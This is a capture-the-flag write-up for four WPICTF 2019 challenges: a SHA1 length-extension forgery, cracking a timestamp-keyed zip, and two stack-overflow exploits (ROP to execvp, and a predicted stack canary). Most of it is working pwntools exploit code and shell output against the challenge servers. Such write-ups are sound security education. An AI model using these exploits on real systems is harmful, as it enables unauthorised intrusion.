WPICTF 2019
Bogged
This challenge involves issuing "bad" commands that have to be authenticated by a token generated through the following "leaked" source code:
import hashlib
secret = ""
def generate_command_token(command, secret):
hashed = hashlib.sha1(secret+command).hexdigest()
return hashed
def validate_input(command, token_in):
token = hash_command(command, secret)
if token == token_in:
return True
else:
return False
while(True):
print("Command:")
command = raw_input(">>>")
print('Auth token:')
token = raw_input(">>>")
print
if validate_input(command, token) == False:
print("Error: Auth token does not match provided command..")
else:
execute_command(command)
print
The token is generated by hashing a secret and the command sha1(secret+command)
, making this vulnerable to a hash extension attack.
The service conveniently gives us access to past hashes to attack:
>>>history
///// TRANSACTION HISTORY //////////////////////////
Command:
>>>withdraw john.doe
Auth token:
>>>b4c967e157fad98060ebbf24135bfdb5a73f14dc
Action successful!
Command:
>>>withdraw john.doe;deposit xXwaltonchaingangXx
Auth token:
>>>455705a6756fb014a4cba2aa0652779008e36878
Action successful!
Command:
>>>withdraw cryptowojak123;deposit xXwaltonchaingangXx
Auth token:
>>>e429ffbfe7cabd62bda3589576d8717aaf3f663f
Action successful!
Command:
>>>withdraw john.doe
Auth token:
>>>b4c967e157fad98060ebbf24135bfdb5a73f14dc
Action successful!
////////////////////////////////////////////////////
However, at this point, I have my hash but don't know the secret length. I choose the command withdraw john.doe
and bruteforce the key length until data is correct:
import hashpumpy
from pwn import *
r = remote("bogged.wpictf.xyz", "31337")
for length in range(100):
res = hashpumpy.hashpump("b4c967e157fad98060ebbf24135bfdb5a73f14dc", "withdraw john.doe", ";", length)
print(res)
r.recvuntil(">>>")
r.sendline(res[1])
r.recvuntil(">>>")
r.sendline(res[0])
r.recvline()
line = r.recvline()
print(line)
if "does not match" in line:
continue
print(length)
break
which spits out
('70a58b018f6be19298f63de6efa5175ea98abd5d', 'withdraw john.doe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf0;')
Error: Auth token does not match provided command..
('70a58b018f6be19298f63de6efa5175ea98abd5d', 'withdraw john.doe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf8;')
Error: Auth token does not match provided command..
('70a58b018f6be19298f63de6efa5175ea98abd5d', 'withdraw john.doe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00;')
Error: Auth token does not match provided command..
('70a58b018f6be19298f63de6efa5175ea98abd5d', 'withdraw john.doe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x08;')
A subcommand was unreadable...
16
So now I know the length of the unknown secret is 16 bytes.
At this point, it's just a matter of appending the correct commands to execute:
import hashpumpy
from pwn import *
r = remote("bogged.wpictf.xyz", 31337)
data = hashpumpy.hashpump("b4c967e157fad98060ebbf24135bfdb5a73f14dc", "withdraw john.doe", ";withdraw cryptowojak123;deposit not_b0gdan0ff", 16)
r.recvuntil(">>>")
r.sendline(data[1])
r.recvuntil(">>>")
r.sendline(data[0])
r.interactive()
resulting in
[+] Opening connection to bogged.wpictf.xyz on port 31337: Done
[*] Switching to interactive mode
A subcommand was unreadable...
Action successful!
Action successful!
BOGDANOFF:
The money is transferred. You have done... well.
Your service has demonstrated your loyalty. You have truly swallowed the bogpill.
You will be among the first to behold the enlightenment we will soon unleash.
...
Quoi?
You want more?
...
Somewhere in the cosmos, a secret calls out to us, lost in the wrinkles of time.
We shall relay this secret to you.
Au revoir.
WPI{duMp_33t_aNd_g@rn33sh_H1$_wAg3$}
Wannsigh
This challenge presents a VM with a zip file encrypted by a piece of "ransomeware". Looking at the browsing history on Firefox, I see the user has downloaded something from the repository https://gitlab.com/def-not-hack4h/coffee-help.
The payload is conveniently here:
CURRENT_TIME=$(($(date +%s%N)/1000000))
echo $CURRENT_TIME
zip --password $CURRENT_TIME ~/Templates/your-stuff.zip ~/Templates/*
NEXT_TIME=$(($(date +%s%N)/1000000))
echo $NEXT_TIME
Which encrypts the zip file with the current unix timestamp in milliseconds. I can then bruteforce the hash since I know its all numeric, reducing the search space by specifying the first few numbers of the password.
justin@kali:~/wpictf$ john -mask="1554?d?d?d?d?d?d?d?d?d" yourstuffhash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 0.20% (ETA: 12:10:55) 0g/s 1921Kp/s 1921Kc/s 1921KC/s 1554696677011..1554731411211
0g 0:00:00:02 0.40% (ETA: 12:10:58) 0g/s 1947Kp/s 1947Kc/s 1947KC/s 1554120347311..1554003067311
1554920623058 (your-stuff.zip)
1g 0:00:01:15 DONE (2019-04-14 12:03) 0.01322g/s 7425Kp/s 7425Kc/s 7425KC/s 1554231923058..1554322233058
Use the "--show" option to display all of the cracked passwords reliably
Session completed
The flag can then be found in an image inside the encrypted zip.
Source
This challenge consists of two parts: the first part involved "breaking" the binary and dumping the source code, the second involved getting a shell.
source.c:
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
//compiled with gcc source.c -o source -fno-stack-protector -no-pie
//gcc (Ubuntu 7.3.0-27ubuntu1~18.04) 7.3.0
//flag for source1 is WPI{Typos_are_GrEaT!}
int getpw(void){
int res = 0;
char pw[100];
fgets(pw, 0x100, stdin);
*strchrnul(pw, '\n') = 0;
if(!strcmp(pw, getenv("SOURCE1_PW"))) res = 1;
return res;
}
char *lesscmd[] = {"less", "source.c", 0};
int main(void){
setenv("LESSSECURE", "1", 1);
printf("Enter the password to get access to https://www.imdb.com/title/tt0945513/\n");
if(!getpw()){
printf("Pasword auth failed\nexiting\n");
return 1;
}
execvp(lesscmd[0], lesscmd);
return 0;
Part 1
This part is simple, just overflow res
in getpw
by overflowing the input with just the right amont of characters. We get the source code and a md5 hash of the compiled binary fcd34aac8522fd502717011bb365bb15
. Luckily, I find my Ubuntu VM has the same compiler version, making compiling it for part 2 straightforward.
Part 2
Attempt 1
This is the fun part. I took one look at the stack overflow in getpw
and started reaching for a return to libc attack.
The standard work flow of leaking addresses, calculating libc offsets and calculating the libc version got done.However, when I tried executing system(/bin/sh)
with another iteration, I ran into this strange problem where the connection terminates (presumably the binary segfaults).
The even weirder part: when I tried simply printing the value of /bin/sh, the connection still terminates. Sometimes. (Yes, I ran the script in a loop and it printed /bin/sh sometimes).
from pwn import *
e = ELF("./source")
p = process("./source", env={ "SOURCE1_PW": "123" })
#gdb.attach(p, "break puts")
#p = ssh(host="source.wpictf.xyz", port=31337, user="source", password="sourcelocker").shell(tty=True)
p.recvuntil("to get access to")
p.recvline()
payload = "BCDE" + "A" * 0x74
payload += p64(0x0000000000400843) # pop rdi; ret
payload += p64(e.got["puts"]) # popped into rdi
payload += p64(e.plt["puts"]) # puts is called to print the address of puts@libc
payload += p64(0x0000000000400843) # pop rdi; ret
payload += p64(e.got["fgets"]) # popped into rdi
payload += p64(e.plt["puts"]) # puts is called to print the address of fgets@libc
payload += p64(0x0000000000400707) # jump back to getpw
p.sendline(payload)
# needed for the remote machine because theres somehow a large chunk
# of garbage printed before the addresses
#p.recvuntil("\x0d\x0a")
#puts_address = p.recvuntil("\x0d\x0a")[:-2]
#fgets_address = p.recvuntil("\x0d\x0a")[:-2]
puts_address = p.recvuntil("\x0a")[:-1]
fgets_address = p.recvuntil("\x0a")[:-1]
# stuff some zeroes in front in case its less than 8 bytes
puts_address = puts_address + b'\x00' * (8 - len(puts_address))
fgets_address = fgets_address + b'\x00' * (8 - len(fgets_address))
#print(hexdump(puts_address))
#print(hexdump(fgets_address))
log.info("puts@libc: {}".format(hex(u64(puts_address))))
log.info("fgets@libc: {}".format(hex(u64(fgets_address))))
puts_address = u64(puts_address)
fgets_address = u64(fgets_address)
# libc6_2.29-0ubuntu1_amd64
libc_base = puts_address - 0x083d50
log.info("libc base: {}".format(hex(libc_base)))
str_bin_sh = libc_base + 0x1afb84
system_address = libc_base + 0x053200
log.info("system@libc: {}".format(hex(system_address)))
log.info("systems@libc: {}".format(hex(str_bin_sh)))
payload = "B" * 0x78
payload += p64(0x0000000000400843) # pop rdi; ret
payload += p64(str_bin_sh)
payload += p64(system_address)
payload += p64(0x0000000000400770) # jump back to main
p.sendline(payload)
p.recvuntil("\x0d\x0a")
p.interactive()
p.close()
Attempt 2
Okay, that didn't work out (and I got told ret2libc was overkill for this challenge). So how about I work with the tools available?
This line setenv("LESSSECURE", "1", 1)
disables the useful bits of less
, namely the commands allowing arbitrary command execution. What if I could call setenv("LESSSECURE", "0", 1)
then?
from pwn import *
#p = ssh(host="source.wpictf.xyz", port=31337, user="source", password="sourcelocker").shell(tty=True)
#p = process("./source", env={ "SOURCE1_PW": "123" })
p = gdb.debug("./source", """
break setenv
""", env={ "SOURCE1_PW": "123" })
payload = "C" * 0x78
payload += p64(0x0000000000400843) # pop rdi; ret
payload += p64(0x400883) # LESSSECURE\0
payload += p64(0x0000000000400841) # pop rsi; pop r15; ret
"""
gef find /b 0x400000, 0x400FFF, 0x30, 0x00
0x40099c
1 pattern found.
"""
payload += p64(0x40099c) # 0\0
payload += p64(0x1234) # dummy value for r15
payload += p64(0x4005e0) # setenv@plt
payload += p64(0x000000000040079d) # initial return point for getpw
p.sendline(payload)
p.interactive()
This didn't work out too well either, because I coudn't set the last argument of setenv
which determines whether it would override existing environment variables. I coudnt find a gadget that would allow me to set rdx
to 1.
Attempt 3
What do I need for a shell?
- I needed "/bin/sh" in a string.
- I needed a way to call "/bin/sh"
With the failure of the ret2libc attack, I could not rely on libc for "/bin/sh". The only place I could get it? By actually entering "/bin/sh" as a input to fgets
.
I also could not rely on libc for system(...)
. The only thing I could use? That execvp
in the plt.
Taking a quick look at what I would have to pass to execvp
to get a shell, I execute the following
char *test = "/bin/sh";
char *arbstring = "garbagestring";
void main() {
execvp(test, &arbstring);
}
And surprisingly I got a shell even though the second parameter was completely garbage. The conclusion? I need a pointer to "/bin/sh" in rdi
, and a pointer to a null pointer in rsi
.
Here I have the first issue: I don't actually know the address at which "/bin/sh" lived at - I only know it was on the stack somewhere. The only place where I had a useful reference to pw
(the string I input) was at the strcmp
call in getpw
. Heres a thought - what if the call to strcmp
put the pointer to pw
into rdi
for me? Could I rely on nothing else clobbering rdi
before I could call execvp
?
At first glance through gdb, no I could not. Something was clobbering rdi
between me leaving getpw
and reaching execvp
. I soon found out what it was - the got resolver. The very first time that execvp
is called, the address in the got has to be resolved and this resolver writes over rdi
. My first call thus becomes execvp("", ...)
which is not very useful.
The obvious solution to this? Run it again. The second time around, execvp
has been resolved, leaving my precious reference to "/bin/sh" alive in rdi
and untouched.
Next, I need a pointer to a null pointer. What better place to find this than at the third element of lesscommand
?
With that, the final script:
from pwn import *
"""
break execvp
break *getpw+89
"""
e = ELF("./source")
#p = gdb.debug("./source", """
#break execvp
#continue
#""", env={ "SOURCE1_PW": "123" })
p = ssh(host="source.wpictf.xyz", port=31337, user="source", password="sourcelocker").shell(tty=True)
payload = "/bin/sh\0" + "A" * (0x78 - 8)
payload += p64(0x0000000000400841) # pop rsi; pop r15; ret;
payload += p64(0x601060+16) # lesscmd address + 16 for the ptr -> ptr -> null
payload += p64(0x601060) # dummy value to stuff into r15
payload += p64(e.plt["execvp"])
payload += p64(0x400770) # main address
p.sendline(payload)
p.sendline(payload)
p.interactive()
Resulting in the following
[*] source@source.wpictf.xyz:
Distro Unknown Unknown
OS: Unknown
Arch: Unknown
Version: 0.0.0
ASLR: Disabled
Note: Susceptible to ASLR ulimit trick (CVE-2016-3672)
[+] Opening new channel: 'shell': Done
[*] Switching to interactive mode
Enter the password to get access to https://www.imdb.com/title/tt0945513/
/bin/sh^@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA^H@^@^@^@^@^@p^P`^@^@^@^@^@`^P`^@^@^@^@^@^P^F@^@^@^@^@^@p^G@^@^@^@^@^@
Enter the password to get access to https://www.imdb.com/title/tt0945513/
/bin/sh^@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA^H@^@^@^@^@^@p^P`^@^@^@^@^@`^P`^@^@^@^@^@^P^F@^@^@^@^@^@p^G@^@^@^@^@^@
ls
flag.txt run_problem.sh source source.c
cat flag.txt
WPI{lesssecure_is_m0resecure}
Careful observers may see my payload being echoed - What on earth is that? There is nothing in the binary that should be echoing my input.
Regardless, I finally get my flag.
Secureshell
Decompilation:
void main(EVP_PKEY_CTX *pEParm1)
{
int iVar1;
int iVar2;
init(pEParm1);
puts(
"Welcome to the Super dooper securer shell! Now with dynamic stack canaries and incidentreporting!"
);
iVar2 = 0;
do {
if (2 < iVar2) {
LAB_00401487:
puts("\nToo many wrong attempts, try again later");
return;
}
if (iVar2 != 0) {
printf("\nattempt #%i\n",(ulong)(iVar2 + 1));
}
iVar1 = checkpw();
if (iVar1 != 0) {
shell();
goto LAB_00401487;
}
logit();
iVar2 = iVar2 + 1;
} while( true );
}
int init(EVP_PKEY_CTX *ctx)
{
int extraout_EAX;
int local_18 [2];
int local_10;
gettimeofday((timeval *)local_18,(__timezone_ptr_t)0x0);
srand(local_18[0] * 1000000 + local_10);
return extraout_EAX;
}
ulong checkpw(void)
{
int iVar1;
int iVar2;
ulong canary2;
char *__s2;
char local_80 [104];
char *local_18;
ulong canary1;
iVar1 = rand();
iVar2 = rand();
canary2 = (long)iVar2 ^ (long)iVar1 << 0x20;
canary1 = canary2;
puts("Enter the password");
fgets(local_80,0x100,stdin);
local_18 = strchr(local_80,10);
if (local_18 != (char *)0x0) {
*local_18 = 0;
}
__s2 = getenv("SECUREPASSWORD");
iVar1 = strcmp(local_80,__s2);
if (iVar1 != 0) {
stakcheck(canary2,canary1);
}
else {
stakcheck(canary2,canary1);
}
return (ulong)(iVar1 == 0);
}
void logit(void)
{
FILE *__stream;
char *pcVar1;
int local_ac;
char local_a8 [48];
undefined8 local_78;
undefined8 local_70;
MD5_CTX local_68;
local_ac = rand();
MD5_Init(&local_68);
MD5_Update(&local_68,&local_ac,4);
MD5_Final((uchar *)&local_78,&local_68);
sprintf(local_a8,"%lx%lx",local_78,local_70);
puts("You.dumbass is not in the sudoers file. This incident will be reported.");
printf("Incident UUID: %s\n",local_a8);
__stream = fopen("/dev/null","w");
if (__stream != (FILE *)0x0) {
if (times == 0) {
pcVar1 = "";
}
else {
pcVar1 = "(Again)";
}
fprintf(__stream,"Incident %s: That dumbass forgot his password %s\n",local_a8,pcVar1);
fclose(__stream);
times = times + 1;
}
return;
}
This is a stack overflow with a stack canary to bypass.
On start, srand
is seeded with the unix timestamp to microsecond precision. This can be bruteforced - I can reasonably assume that the program starts within 1 second on the server.
checkpw
then reads data into a buffer that can be overflowed, except that there is a stack canary protecting it. This canary is calculated from two rand
calls.
After failing the password check, logit
then conveniently prints md5(rand())
as a "incident UUID".
The workflow is thus
- Record start time
- Give a dummy value
- Read the incident UUID
- Bruteforce the rand seed and predict the next stack canary
- Overflow the input buffer and jump to
shell
import time
import hashlib
from pwn import *
from ctypes import *
def fix_hash(inp):
return "".join(reversed([inp[i:i+2] for i in range(0, 16, 2)])) + "".join(reversed([inp[i:i+2] for i in range(16, 32, 2)]))
cdll.LoadLibrary("libc.so.6")
libc = CDLL("libc.so.6")
p = remote("secureshell.wpictf.xyz", 31337)
#p = process("./secureshell", env={ "SECUREPASSWORD": "asdf" })
#p = gdb.debug("./secureshell", """
#break stakcheck
#continue
#""", env={ "SECUREPASSWORD": "asdf" })
starttime = int(time.time())
log.info("start time={}".format(starttime))
p.recvuntil("password")
# send dummy password so i can get the incident UUID
p.sendline("a")
p.recvuntil("Incident UUID: ")
uuid = p.recvregex(r"([0-9a-f]{32})")
log.info("UUID=|{}|".format(uuid))
flipped_uuid = fix_hash(uuid)
# test a range around the start time
for seed_time in range(starttime, starttime + 3):
log.info("Testing time {}".format(seed_time))
found = False
for us in range(1000000):
# cap at uint32_t
libc.srand((seed_time * 1000000 + us) & 0xFFFFFFFF)
# dump two values because these would have been used for the first stack canary
libc.rand()
libc.rand()
calc_hash = hashlib.md5(p32(libc.rand())).hexdigest()
if calc_hash == flipped_uuid:
log.info("Found seed {}".format(seed_time))
found = True
break
if found: break
# at this point, calculate the next canary value
# the 8 byte canary value is stored from the 112th byte
rand1 = libc.rand()
rand2 = libc.rand()
canary = rand2 ^ rand1 << 0x20
p.recvuntil("Enter the password")
p.clean()
# send padded data + canary + dummy BP + return address (address of the shell function)
p.sendline("A"*112 + p64(canary) + "A"*8 + p64(0x040125c))
p.interactive()
fix_hash
is there because the binary prints md5 hashes in a completely messed up way (leading me to a few hours of wondering what did I miss about how hashing works)
This leads to
[+] Opening connection to secureshell.wpictf.xyz on port 31337: Done
[*] start time=1555207675
[*] UUID=|9b47e8a26f3fdc663705652eb32cadb0|
[*] Testing time 1555207675
[*] Found seed 1555207675
[*] Switching to interactive mode
$ whoami
secureshell
$ ls
flag.txt
run_problem.sh
secureshell
$ cat flag.txt
WPI{Loggin_Muh_Noggin}